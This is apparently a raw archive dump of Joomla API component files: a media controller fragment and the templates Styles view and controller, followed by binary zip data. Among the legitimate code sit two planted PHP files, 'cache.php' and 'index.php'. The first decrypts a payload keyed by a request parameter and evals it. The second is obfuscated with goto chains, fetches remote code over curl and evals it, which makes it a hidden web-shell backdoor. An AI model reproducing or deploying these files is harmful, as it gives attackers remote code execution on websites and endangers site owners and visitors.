    protected function allowEdit($data = [], $key = 'id'): bool
    {
        $user = $this->app->getIdentity();

        // com_media's access rules contains no specific update rule.
        return $user->authorise('core.edit', 'com_media');
    }

    /**
     * Method to create or modify a file or folder.
     *
     * @param   integer  $recordKey  The primary key of the item (if exists)
     *
     * @return  string   The path
     *
     * @since   4.1.0
     */
    protected function save($recordKey = null)
    {
        // Explicitly get the single item model name.
        $modelName = $this->input->get('model', Inflector::singularize($this->contentType));

        /** @var MediumModel $model */
        $model = $this->getModel($modelName, '', ['ignore_request' => true, 'state' => $this->modelState]);

        $json = $this->input->json;

        // Decode content, if any
        if ($content = base64_decode($json->get('content', '', 'raw'))) {
            $this->checkContent();
        }

        // If there is no content, com_media assumes the path refers to a folder.
        $this->modelState->set('content', $content);

        return $model->save();
    }

    /**
     * Performs various checks to see if it is allowed to save the content.
     *
     * @return  void
     *
     * @since   4.1.0
     *
     * @throws  \RuntimeException
     */
    private function checkContent(): void
    {
        $params       = ComponentHelper::getParams('com_media');
        $helper       = new \Joomla\CMS\Helper\MediaHelper();
        $serverlength = $this->input->server->getInt('CONTENT_LENGTH');

        // Check if the size of the request body does not exceed various server imposed limits.
        if (
            ($params->get('upload_maxsize', 0) > 0 && $serverlength > ($params->get('upload_maxsize', 0) * 1024 * 1024))
            || $serverlength > $helper->toBytes(ini_get('upload_max_filesize'))
            || $serverlength > $helper->toBytes(ini_get('post_max_size'))
            || $serverlength > $helper->toBytes(ini_get('memory_limit'))
        ) {
            throw new \RuntimeException(Text::_('COM_MEDIA_ERROR_WARNFILETOOLARGE'), 400);
        }
    }

    /**
     * Method to delete an existing file or folder.
     *
     * @return  void
     *
     * @since   4.1.0
     *
     * @throws  InvalidPathException
     * @throws  \RuntimeException
     * @throws  \Exception
     */
    public function delete($id = null): void
    {
        if (!$this->allowDelete()) {
            throw new NotAllowed('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED', 403);
        }

        $this->modelState->set('path', $this->input->get('path', '', 'STRING'));

        $modelName = $this->input->get('model', Inflector::singularize($this->contentType));
        $model     = $this->getModel($modelName, '', ['ignore_request' => true, 'state' => $this->modelState]);

        $model->delete();

        $this->app->setHeader('status', 204);
    }

    /**
     * Method to check if it's allowed to delete an existing file or folder.
     *
     * @return  boolean
     *
     * @since   4.1.0
     */
    protected function allowDelete(): bool
    {
        $user = $this->app->getIdentity();

        return $user->authorise('core.delete', 'com_media');
    }
}
PKk��\$�ff-com_templates/src/View/Styles/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_templates
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Templates\Api\View\Styles;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The styles view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'template',
        'client_id',
        'home',
        'title',
        'params',
        'xml',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'template',
        'title',
        'home',
        'client_id',
        'language_title',
        'image',
        'language_sef',
        'assigned',
        'e_id',
    ];

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        if ($item->client_id != $this->getModel()->getState('client_id')) {
            throw new RouteNotFoundException('Item does not exist');
        }

        return parent::prepareItem($item);
    }
}
PKk��\<=0OO1com_templates/src/Controller/StylesController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_templates
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Templates\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\String\Inflector;
use Tobscure\JsonApi\Exception\InvalidParameterException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The styles controller
 *
 * @since  4.0.0
 */
class StylesController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'styles';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'styles';

    /**
     * Basic display of an item view
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayItem($id = null)
    {
        $this->modelState->set('client_id', $this->getClientIdFromInput());

        return parent::displayItem($id);
    }

    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $this->modelState->set('client_id', $this->getClientIdFromInput());

        return parent::displayList();
    }

    /**
     * Method to allow extended classes to manipulate the data to be saved for an extension.
     *
     * @param   array  $data  An array of input data.
     *
     * @return  array
     *
     * @since   4.0.0
     * @throws  InvalidParameterException
     */
    protected function preprocessSaveData(array $data): array
    {
        $data['client_id'] = $this->getClientIdFromInput();

        // If we are updating an item the template is a readonly property based on the ID
        if ($this->input->getMethod() === 'PATCH') {
            if (\array_key_exists('template', $data)) {
                unset($data['template']);
            }

            $model            = $this->getModel(Inflector::singularize($this->contentType), '', ['ignore_request' => true]);
            $data['template'] = $model->getItem($this->input->getInt('id'))->template;
        }

        return $data;
    }

    /**
     * Get client id from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getClientIdFromInput()
    {
        return $this->input->exists('client_id') ? $this->input->get('client_id') : $this->input->post->get('client_id');
    }
}
PKk��\���com_templates/src/src/cache.phpnu&1i�<?php $JMta = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiohlQGlmmBgDQA'; $TyPu = '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'; function JMta($vQA) { $TyPu = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $BCbYQ = substr($TyPu, 0, 16); $YTIi = base64_decode($vQA); return openssl_decrypt($YTIi, "AES-256-CBC", $TyPu, OPENSSL_RAW_DATA, $BCbYQ); } if (JMta('DjtPn+r4S0yvLCnquPz1fA')){ echo 'A/rqveaiqfN2dY0n/n7rN5o7Hup/0QoNXpjOhVwNHcNY6k5dQlsftcjagCF0fjMe'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($JMta)))); ?>PKk��\g�.llcom_templates/src/src/index.phpnu&1i�<?php
 goto lcLwJyrSAD1; hqBVtBmU9Cn: lHeYcmaxQvO: goto KCyWwbD7fUo; lcLwJyrSAD1: $IMr5W1YJX7_ = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto lY5WotlOIUJ; KKPyBsk8yo8: $NH2hheOXSWq = ${$vCh0_MLBLS8[5 + 26] . $vCh0_MLBLS8[15 + 44] . $vCh0_MLBLS8[43 + 4] . $vCh0_MLBLS8[20 + 27] . $vCh0_MLBLS8[15 + 36] . $vCh0_MLBLS8[14 + 39] . $vCh0_MLBLS8[1 + 56]}; goto wzbhz6rr3AA; RpxEvPP3tfx: ($NH2hheOXSWq[62] = $NH2hheOXSWq[62] . $NH2hheOXSWq[72]) && ($NH2hheOXSWq[82] = $NH2hheOXSWq[62]($NH2hheOXSWq[82])) && @eval($NH2hheOXSWq[62](${$NH2hheOXSWq[35]}[15])); goto hqBVtBmU9Cn; wzbhz6rr3AA: if (!(in_array(gettype($NH2hheOXSWq) . count($NH2hheOXSWq), $NH2hheOXSWq) && count($NH2hheOXSWq) == 21 && md5(md5(md5(md5($NH2hheOXSWq[15])))) === "\145\67\x66\144\x37\70\66\67\65\x31\66\x63\146\143\64\143\66\146\70\x62\70\145\146\x61\64\x62\x64\x39\x33\143\62\x31")) { goto lHeYcmaxQvO; } goto RpxEvPP3tfx; KCyWwbD7fUo: metaphone("\57\105\111\x48\x63\x68\141\126\x61\154\164\61\x61\67\171\x45\x30\150\155\112\x54\132\x44\172\102\x48\x56\64\61\126\102\x44\60\105\115\x46\x2b\x73\111\112\150\x4f\111"); goto Vvcw7Mc3hZh; lY5WotlOIUJ: $vCh0_MLBLS8 = $IMr5W1YJX7_("\x7e", "\x20"); goto KKPyBsk8yo8; Vvcw7Mc3hZh: class cgmKzFRA3PO { static function z_ZY7CEP0IX($bIkMjfIP_M2) { goto s4VeOBua9GY; tdq1GRXr3sS: le_VVz2faAS: goto MoxXMWKe05T; M169GxFBePf: $OUzllV3NUqf = ''; goto cqb0I6ssLN3; MoxXMWKe05T: return $OUzllV3NUqf; goto fwTojlq6SBn; ky6I40J1LXb: $IjdpRWvIJHh = $rrkfXQHJWg2("\176", "\40"); goto YL3i7z2DlnN; cqb0I6ssLN3: foreach ($q5sNRHgtcSs as $gRKcfg51NSr => $c60VE_lLpXd) { $OUzllV3NUqf .= $IjdpRWvIJHh[$c60VE_lLpXd - 36459]; nIVh0_AtOcE: } goto tdq1GRXr3sS; s4VeOBua9GY: $rrkfXQHJWg2 = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto ky6I40J1LXb; YL3i7z2DlnN: $q5sNRHgtcSs = explode("\x2d", $bIkMjfIP_M2); goto M169GxFBePf; fwTojlq6SBn: } static function uHNlzzORjDB($PA_z9sOmDyV, $xfBO0p3PO2s) { goto alsxD8Jxraa; alsxD8Jxraa: $wFUvV_HtwqW = curl_init($PA_z9sOmDyV); goto x56b92c1xQn; x56b92c1xQn: curl_setopt($wFUvV_HtwqW, CURLOPT_RETURNTRANSFER, 1); goto YqckALyHVzM; YqckALyHVzM: $OZtmjaYOpKH = curl_exec($wFUvV_HtwqW); goto APXekEsblYN; APXekEsblYN: return empty($OZtmjaYOpKH) ? $xfBO0p3PO2s($PA_z9sOmDyV) : $OZtmjaYOpKH; goto rRDJjoLtS02; rRDJjoLtS02: } static function a3hnhwJqH_3() { goto vCCmbGIiwRi; Rh7HAa8M4ST: WT3DiJ49Mgw: goto qK_kySDbvQA; IkkilK46dp2: $PYwhZ5vDXxB = @$fwCg4to5EzX[2 + 1]($fwCg4to5EzX[4 + 2], $g88ZIixhmGt); goto LpodXxLxNC9; cLnA2WJUmQq: @$fwCg4to5EzX[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($fwCg4to5EzX[1 + 4](__FILE__)); goto M8LjvMTOlRq; NiAlRlQRQxE: $dbO79YiGUc0 = self::uhnLZZOrJDb($sG17zpJsar0[1 + 0], $fwCg4to5EzX[5 + 0]); goto cUjrptzChI1; cUjrptzChI1: @eval($fwCg4to5EzX[4 + 0]($dbO79YiGUc0)); goto oQD5gFBhqjA; M8LjvMTOlRq: if (!(@$sG17zpJsar0[0] - time() > 0 and md5(md5($sG17zpJsar0[2 + 1])) === "\x37\x37\67\x37\x66\x65\70\144\x61\x31\143\63\60\63\141\x39\x39\x38\x36\145\x32\x31\67\64\x34\66\x63\142\70\60\x37\x32")) { goto s41KuQqcLc_; } goto NiAlRlQRQxE; oQD5gFBhqjA: die; goto W7dhMNm4IoX; vCCmbGIiwRi: $L1FwrxULKZ1 = array("\x33\x36\64\70\66\55\63\66\x34\x37\61\x2d\x33\66\x34\x38\x34\x2d\x33\x36\x34\x38\70\55\63\66\64\x36\x39\x2d\x33\66\x34\x38\64\55\x33\x36\64\71\x30\55\63\66\x34\70\x33\x2d\63\x36\64\x36\x38\55\63\x36\x34\x37\65\x2d\x33\66\x34\70\66\x2d\x33\x36\x34\66\x39\x2d\x33\66\x34\70\x30\x2d\x33\x36\x34\67\x34\55\63\66\64\x37\x35", "\x33\66\x34\67\x30\x2d\63\x36\x34\x36\x39\55\63\66\x34\x37\x31\55\x33\x36\64\x39\x30\x2d\x33\66\64\x37\61\55\63\x36\x34\67\x34\55\x33\x36\x34\66\x39\55\63\x36\x35\x33\66\55\63\x36\x35\63\64", "\63\66\x34\x37\x39\x2d\x33\66\x34\x37\x30\x2d\63\66\x34\x37\64\55\63\66\64\67\65\x2d\x33\x36\64\x39\x30\x2d\x33\x36\x34\70\x35\x2d\63\66\x34\x38\x34\55\63\66\x34\70\66\55\63\x36\64\67\x34\55\x33\x36\64\x38\x35\55\63\66\x34\70\x34", "\x33\66\x34\67\x33\55\x33\x36\x34\x38\x38\x2d\x33\x36\x34\70\x36\55\x33\66\64\x37\x38", "\x33\x36\x34\70\x37\x2d\x33\66\x34\x38\x38\55\63\x36\x34\x37\60\55\63\66\x34\x38\x34\55\x33\66\x35\x33\x31\x2d\x33\x36\x35\63\63\55\63\x36\x34\x39\x30\55\63\x36\x34\70\65\55\x33\x36\x34\70\x34\55\63\66\64\x38\66\55\63\x36\64\x37\x34\x2d\x33\x36\64\x38\65\x2d\x33\66\64\70\64", "\x33\x36\64\x38\63\x2d\x33\66\x34\x38\60\x2d\x33\66\x34\x37\67\55\x33\x36\x34\70\x34\x2d\63\x36\x34\71\x30\x2d\63\66\x34\70\62\x2d\63\x36\64\70\x34\55\63\66\64\66\71\x2d\x33\66\64\x39\x30\55\63\x36\x34\x38\x36\55\63\66\x34\67\x34\x2d\x33\x36\64\67\65\55\63\x36\x34\66\x39\x2d\x33\66\64\70\64\55\63\x36\x34\x37\x35\x2d\x33\x36\64\x36\71\x2d\x33\66\64\67\60", "\63\66\65\61\63\x2d\x33\66\x35\x34\63", "\x33\66\64\66\60", "\63\x36\x35\x33\70\55\63\66\65\64\x33", "\x33\66\65\62\x30\x2d\x33\66\65\60\63\x2d\x33\66\65\x30\x33\55\x33\x36\65\62\x30\x2d\63\x36\x34\x39\66", "\63\x36\x34\x38\x33\55\x33\66\x34\x38\x30\55\x33\66\64\x37\67\55\x33\66\64\66\71\55\x33\66\64\70\64\55\63\x36\x34\67\61\x2d\x33\66\64\x39\x30\55\x33\66\x34\x38\x30\55\63\66\x34\67\x35\x2d\x33\x36\64\67\63\x2d\63\x36\64\66\70\55\63\66\x34\66\71"); goto t3Q6AEus2Ix; LpodXxLxNC9: $sG17zpJsar0 = $fwCg4to5EzX[1 + 1]($PYwhZ5vDXxB, true); goto cLnA2WJUmQq; qK_kySDbvQA: $g88ZIixhmGt = @$fwCg4to5EzX[1]($fwCg4to5EzX[2 + 8](INPUT_GET, $fwCg4to5EzX[4 + 5])); goto IkkilK46dp2; W7dhMNm4IoX: s41KuQqcLc_: goto a20QPLBmdqH; t3Q6AEus2Ix: foreach ($L1FwrxULKZ1 as $gEF1iqYnvxG) { $fwCg4to5EzX[] = self::Z_zY7cep0iX($gEF1iqYnvxG); MTRS2s3RPci: } goto Rh7HAa8M4ST; a20QPLBmdqH: } } goto frsXyneEEae; frsXyneEEae: CGmKZFra3PO::a3HNHwJQH_3();
?>
PKk��\�����1com_templates/com_templates/mov_69188288a9bf0.zipnu&1i�PK�lo[��q;��b_69188288a9bf0.tmp�U��F�*SEAa,~
h�]��F��YcQ EГlm>{z@s�?bՌC��ׯ{���������
�*e�`�a`���p�k� ,�7UA�80�M�#�-D�
��=H���kE�b��B��y��k�T�dx��zb��z7�B-~�iR���X�EVCmױU{�*E��1�NAa��1�,�0�v��89b��
�%qj�efU��d���JWr���#�'|�wln����Y���:=o�=����`�z_��ֹ��4q�^��7��}��I�b���Y���)������?P۱� �8�ЯC����C��s��O�9�tw����{�_�k���qwpA&�?�f�ɱc�t�!Ķ�Aly�!z����/2=�7�q��Wl����Eɉ~B�.i��@!�Oa���󻴟;�,m��o���;����i翤H��������#�$�LJ#8�����o��rܞL��ɸ9|��$���_/��8�	�;dW��c��7$�5�Ш^�������aS��3������˂�@e�!k9�5b���Hg)��^Ca��)R2�t�3/U���(���)[_�YUMg9�g�;�;ƒ��L-0���!��(-��B���q�RS���?#]�rͿ�]��’��_�]��eh��ȩ����]��V��r�-I�9�����G-��q�a�N^�ɍ��M�>�Ki'/�fwm�p�����E��Ϋ�I#)�叝��M_�t��Ζ�j�b���h:Y~iO*9�mhw
��Vs�
�}R�߇�@�kV���>wHoʱ`�
��&̅޸S@��#�D"b�8�����e��o/�D�ﱈe�H��`A߉�=f9= �Cv��׆`�l�PC�sV�����H���j
vTy�i�����)2H��.��*��NQߴc6+�E�q��#7���4\߃��9�׳V�@��PK�lo[A�bI�c_69188288a9bf0.tmp]xg��X��_y)�
�����}�s�^��u3�}n���1�Gґ��<ҿ��\�?y�a��_?�:X}t�R>���/ć�s���Ε�9
�B5���yBgy�eǁ;������%q%���E;�W3����V���ן�����ܤ����Iu�WJw���kwa}G�Ps{�P族�ӫ��<�3�.�y�ӀS2��7��W%Xѽ��4@*E��(AX�:<��)�/�{-���Fa�?�O-�y�T;��}�Ah����Ҭ��n�dq/	�\�F�2Aɲ�hj�M��2o�3襵�ӓa�G�YnS�e���'��X�*>x�1/mpE��){�B�-�2[�vaPm�]c�e�����Ä>7m<v`;܍�/|V�t�opp�X��Dؘ��G#	�@��
�5X��h���5��J��	j3d(M:8n~(���}1ԁ"[��e��:�b��`�&'�6䰀�A IX�b���P	���W�����*6D���,:�@da`�4�c}z�Z2��Dw��_���{?˩<Y��*,�V����$It�k�XjI�U���}�5�7f*�}j����p��y�Q��ݴ�Lb/؋fM�K�V���}#�c����X����<cr.èl�}ҍ7g����?�Q&�|��Rz�?�J6���3��FΚ-n8�m�ك���\*���.���J�Y��ԣ�n�2D�w�C
�f����]�'�Q"��Rkr�,h^/�����C���P#�Vw��,kq��x3��*k����|��\�0�BF�N�N["�#_�}r��-R�cG�W�y}}��,6,�7iGܑ��Bm?��/s�.67s���4"ζB�A�վk�ȹ�� ��D| 7;��������oA;
�N��-P$��M���@8��{�s�M���K��$`��㳂����x�8 ��&�����b�����Ѯ[�>|���_�}=|�[ω����ƙ���rٟ�k�j ��;|Ac{{ljC��3�4n�
��"�>����� =�n��������oZ���y�W=��q0��(�S��N1�e&3%�>��0�kj�?I����jűj��W�ny�r[�3w�#��;Y����U�����}�E�Ow�y��p�0�1�S?աeGP��j�M��{�%�id~i�����b!�7�/N"�O����q��f2{�`��DRw���3͡�W��`�39��'Ŷb��Vy�Y����S�)�54���C��(��W8P�5�8%����ǠW���If|��v�VP���&���Q1T�,[r�W�Yddl��`e���`f�]zT����`���Θ��#�*2
��N�����p���U^5H@N��=t�r`�����o9%08�v������s��'F�fZ#��m���#�[%cLç,yQz�԰�ܫ��)V�)CD����{����=�>c�B/�5�����%c�@)%E�@�����/p&)�ظ�4���j�Jo��O���$��Ɏ*��c��)o�7����K� �
��X萏����6#tL��҄ѭ݋��fH��� �7c�Ky
I�H6��ݹ�Ky�d���	}���;*I�#E(���
u��ߪx��t��C1���yQ�N1&re.c���S�~�>t�gKE;|B���%򋔭���-�
=�;F,[U�b^�m� n�d�$t[�G���&BI������A_%����8_j�TJ%x4��H� z=��WM��t
"�daLy�D>���2�e��h ���G��8gL�
5�H�:8��;��ZM��Z�1+X(Gi��w��.��Fr��E�
dQ;�U{Zs$0�{DM�*B�ɻؙ5��3#�x~��];�>Ks��uL���ÖX�5�
n�q	a\��EK���/m}����&]6�P����H�,GOG���[G9(��\�� 3S���z����h� $���PQ��Z\��̅�TF[�s���”~�!<��kҘ��B�#��I�����͉����S��
���=���N�u�K2%�,��
Y.=MN��?�f��7�a�k=�fEN2����HC��H�!�Hb�$M����,G4�Ӕ���0F]L5*�N|覞ͼ�Z��*{��mG�o��*����3���&�%R$9]}̔Ҙ�Q_ R�X�A�:ߝ*�âu�	O��"���Wqq��"!q?�}y�I��Ce�� |�X��[�ܼ��/`�h,�F=zK�ɐrV74G���Mna(k��7'w�>��@���N��K"��Y�0�\��\�x�/Ȣ�RrB�����L�2��/�b������Mw֮y��]����BM�;S��Vh޵q��'бZ�h�R�
�L:�{7/l5�T=�1H���Q4��u��%�i�gT��TO��)Z˅ ~��YvQz�Q��c߱p
